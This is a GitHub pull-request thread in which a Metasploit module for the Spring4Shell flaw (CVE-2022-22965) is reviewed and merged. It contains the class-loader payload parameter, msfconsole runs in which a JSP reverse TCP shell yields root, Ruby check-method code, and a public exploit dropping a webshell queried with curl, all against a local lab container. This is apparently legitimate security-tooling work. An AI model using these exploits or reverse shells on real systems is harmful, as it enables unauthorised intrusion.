Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for exploit CVE-2022-22965 #16423

Merged
merged 24 commits into from
May 10, 2022

Conversation

vleminator
Copy link
Contributor

@vleminator vleminator commented Apr 7, 2022

Exploit for CVE-2022-22965

Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above
and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable
to remote code execution due to an unsafe data binding used to populate an object from request parameters
to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the
org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following:
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can
gain remote code execution.

Verification

  1. Build the application
    1. git clone https://github.com/vleminator/Spring4Shell-POC
    2. docker build . -t spring4shell
  2. Run the application
    1. docker run -p 8085:8080 spring4shell
  3. Start msfconsole
  4. Run: use exploit/multi/http/spring_framework_rce_spring4shell
  5. Set the RHOSTS, TARGET, PAYLOAD and payload associated datastore options
  6. Run the exploit

Demo

Spring Framework v5.3.15 on Linux (debian docker image)

msf6 exploit(multi/http/spring_framework_rce_spring4shell) > show options

Module options (exploit/multi/http/spring_framework_rce_spring4shell):

   Name            Current Setting       Required  Description
   ----            ---------------       --------  -----------
   FILEDROPPERDIR  /tmp/                 no        The directory used for filedropper (only applicable to non-Java target)
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          127.0.0.1             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT           8085                  yes       The target port (TCP)
   SSL             false                 no        Negotiate SSL/TLS for outgoing connections
   TARGETURI       /helloworld/greeting  yes       The path to the application action
   VHOST                                 no        HTTP server virtual host


Payload options (java/jsp_shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.174    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL                   no        The system shell to use.


Exploit target:

   Id  Name
   --  ----
   0   Java


msf6 exploit(multi/http/spring_framework_rce_spring4shell) > exploit

[*] Started reverse TCP handler on 192.168.0.174:4444
[*] 127.0.0.1:8085 - Generating JSP...
[*] 127.0.0.1:8085 - Modifying Class Loader...
[*] 127.0.0.1:8085 - Waiting for the server to flush the logfile
[+] 127.0.0.1:8085 - Log file flushed at http://127.0.0.1:8085/lKNWl49.jsp
[!] Tried to delete lKNWl49.jsp, unknown result
[*] Command shell session 2 opened (192.168.0.174:4444 -> 192.168.0.174:56430 ) at 2022-04-07 14:45:06 +0200

whoami
root

@vleminator vleminator changed the title Finish exploit CVE-2022-22965 Add module for exploit CVE-2022-22965 Apr 7, 2022
@bwatters-r7 bwatters-r7 added module rn-modules release notes for new or majorly enhanced modules labels Apr 7, 2022
@bcoles bcoles added the hotness Something we're really excited about label Apr 7, 2022
Copy link
Contributor

@heyder heyder left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe you can get some ideas for the check method from here:

def check

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6))
    )

    return CheckCode::Unknown('Web server seems unresponsive') unless res

    if res.headers.key?('Server')
      res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
    else
      res.body.match(%r{Apache\s(.*)/([\d|.]+)})
    end

    server = Regexp.last_match(1) || nil
    version = Rex::Version.new(Regexp.last_match(2)) || nil

    return Exploit::CheckCode::Safe('Application seems not be running under Tomcat') unless server && server.match(/Tomcat/)

    vprint_status("Detected a #{server} #{version} running")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI']),
      'data' => "class.module.classLoader.DefaultAssertionStatus=#{Rex::Text.rand_text_alpha_lower(4..6)}"
    )

    # setting the default assertion status to a valid status
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI']),
      'data' => 'class.module.classLoader.DefaultAssertionStatus=true'
    )    
    return CheckCode::Safe unless res.code == 400

    Exploit::CheckCode::Appears
  end

@heyder
Copy link
Contributor

heyder commented Apr 8, 2022

Module seems not work with a non default value of PAYLOAD_PATH

msf6 exploit(multi/http/spring_framework_rce_spring4shell) > options 

Module options (exploit/multi/http/spring_framework_rce_spring4shell):

   Name             Current Setting       Required  Description
   ----             ---------------       --------  -----------
   FILEDROPPER_DIR  /tmp/                 no        Path to write the filedropper (only applicable to non-Java targets)
   PAYLOAD_PATH     webapps/helloworld    yes       Path to write the payload
   Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS           127.0.0.1             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT            8080                  yes       The target port (TCP)
   SSL              false                 no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /helloworld/greeting  yes       The path to the application action
   VHOST                                  no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.17.0.1       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java


msf6 exploit(multi/http/spring_framework_rce_spring4shell) > exploit 

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] 127.0.0.1:8080 - Generating JSP...
[*] 127.0.0.1:8080 - Modifying Class Loader...
[*] 127.0.0.1:8080 - Waiting for the server to flush the logfile
[*] 127.0.0.1:8080 - Countdown 10...
[*] 127.0.0.1:8080 - Countdown 9...
[*] 127.0.0.1:8080 - Countdown 8...
[*] 127.0.0.1:8080 - Countdown 7...
[*] 127.0.0.1:8080 - Countdown 6...
[*] 127.0.0.1:8080 - Countdown 5...
[*] 127.0.0.1:8080 - Countdown 4...
[*] 127.0.0.1:8080 - Countdown 3...
[*] 127.0.0.1:8080 - Countdown 2...
[*] 127.0.0.1:8080 - Countdown 1...
[-] Exploit aborted due to failure: unknown: 127.0.0.1:8080 - The log file hasn't been flushed
[*] Exploit completed, but no session was created.

However seems the file has been created in the application directory.

root@3d86d29ae75b:/usr/local/tomcat/webapps# ls helloworld/
59g19533.jsp  META-INF  WEB-INF  org
root@3d86d29ae75b:/usr/local/tomcat/webapps#

Using an public exploit it works.

$ python exploit.py --url http://localhost:8080/helloworld/greeting --dir webapps/helloworld --file heyder
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: heyder.jsp
[+] Shell should be at: http://localhost:8080/heyder.jsp?cmd=id
$ curl  http://localhost:8080/helloworld/heyder.jsp?cmd=id --output -
uid=0(root) gid=0(root) groups=0(root)

//

@gwillcox-r7 gwillcox-r7 self-assigned this Apr 11, 2022
@red0xff
Copy link
Contributor

red0xff commented Apr 12, 2022

Just a suggestion here, I think this module would benefit from the CmdStager I added for JSP:
#15734

  • Would simplify the code, jsp_dropper doesn't have to be implemented for every exploit that needs this feature.
  • For an executable, I think receiving it from the network would work better than embedding it base64-encoded in the Java program, the payload can be large, we can add support for encryption to CmdStager later, and all the modules that use it would benefit.

(Just a suggestion, but I think it's worth considering)

@gwillcox-r7 gwillcox-r7 removed their assignment Apr 13, 2022
@smcintyre-r7
Copy link
Contributor

@vleminator would you be open to collaborating with us? We're really interested in getting this merged soon and would be happy to submit a counter PR to your branch that you could review to help address some of the comments we've made here.

@heyder
Copy link
Contributor

heyder commented Apr 23, 2022

@vleminator would you be open to collaborating with us? We're really interested in getting this merged soon and would be happy to submit a counter PR to your branch that you could review to help address some of the comments we've made here.

@smcintyre-r7 maybe it worths reopen the PR #16424, it seems more mature to merge and I'm available to contribute there.

@vleminator
Copy link
Contributor Author

@smcintyre-r7 Yes sure! I'm just back from a long holiday and will review all comments here and make some commits accordingly by EOB.

@vleminator
Copy link
Contributor Author

@red0xff sounds good. Should I implement the changes in a seperate PR or how to proceed?

@red0xff
Copy link
Contributor

red0xff commented Apr 28, 2022

@red0xff sounds good. Should I implement the changes in a seperate PR or how to proceed?

Thanks a lot for the module. You don't have to implement these changes, I made the suggestion to have a mention of this pull-request on the CmdStager for JSP PR (and to show the usefulness of that feature).

I'm not sure yet if it's a change in the right direction, I don't work for Rapid7. But if it gets merged, I might update this module to take advantage of it. For now, just keep the module design as it is.

@smcintyre-r7 smcintyre-r7 self-assigned this May 2, 2022
@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented May 2, 2022

@vleminator I proposed a few changes over in vleminator#1. At first the module wasn't working for me because the timeout wasn't long enough. I switched it to using an exponential backoff in that PR and fixed up some messages that were being logged.

With these changes in place I tested both the Java and Linux targets with a custom TARGETURI and everything appears to be working correctly. One thing I noticed is that the JSP file is often not deleted from the disk because the writable path is not absolute and is not relative to the working directory that the session comes in from. I'll look into fixing that because we probably don't want to be leaving payloads lying around on targets.

@smcintyre-r7
Copy link
Contributor

I'll look into fixing that because we probably don't want to be leaving payloads lying around on targets.

I updated the JSP file in the PR I sent you to make it delete itself. This means even if the session can't connect back to Metasploit, the webshell will still be deleted and we don't need to worry about not knowing the absolute path on disk.

@vleminator
Copy link
Contributor Author

@smcintyre-r7 great addition. Thanks for the PR!

@smcintyre-r7
Copy link
Contributor

Hey I'm sorry I didn't catch this in my last round of testing. I tested this with the vulhub container and found this module wasn't working against it because of the HTTP verb. I'm going to submit another PR to you that'll add the ability for the user to specify it and auto detect the correct value. Look out for that tomorrow. Thanks for your patience!

@smcintyre-r7
Copy link
Contributor

Alright with vleminator#2 landed the module will support the HTTP GET and POST verbs as well as automatically identify the correct one to use. With those changes in place, I'll get this landed. Thanks alot!

@bwatters-r7 bwatters-r7 self-assigned this May 9, 2022
bwatters-r7 added a commit that referenced this pull request May 10, 2022
Merge branch 'land-16423' into upstream-master
@bwatters-r7 bwatters-r7 merged commit db966b7 into rapid7:master May 10, 2022
@bwatters-r7
Copy link
Contributor

Release Notes

This adds a module that targets CVE-2022-22965, a remote code execution vulnerability in some installations of Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older. To be vulnerable, the application must be running on JDK 9+ and in this case, packaged and deployed as a war file, though it may be possible to bypass these limitations later.

@ertygiq
Copy link

ertygiq commented May 23, 2022

What is the purpose of PAYLOAD_PATH. Are there cases when webapps/ROOT doesn't work?

@gwillcox-r7
Copy link
Contributor

What is the purpose of PAYLOAD_PATH. Are there cases when webapps/ROOT doesn't work?

Potentially there may be cases where there are nondefault installs and this directory may not work due to file permissions etc. Alternatively users may want to edit this for other reasons such as evasion etc even if webapps/ROOT would work per say.

We try to make the exploits as customizable as possible in general to accommodate users various needs so this would fall in line with this general practice.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
hotness Something we're really excited about module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

8 participants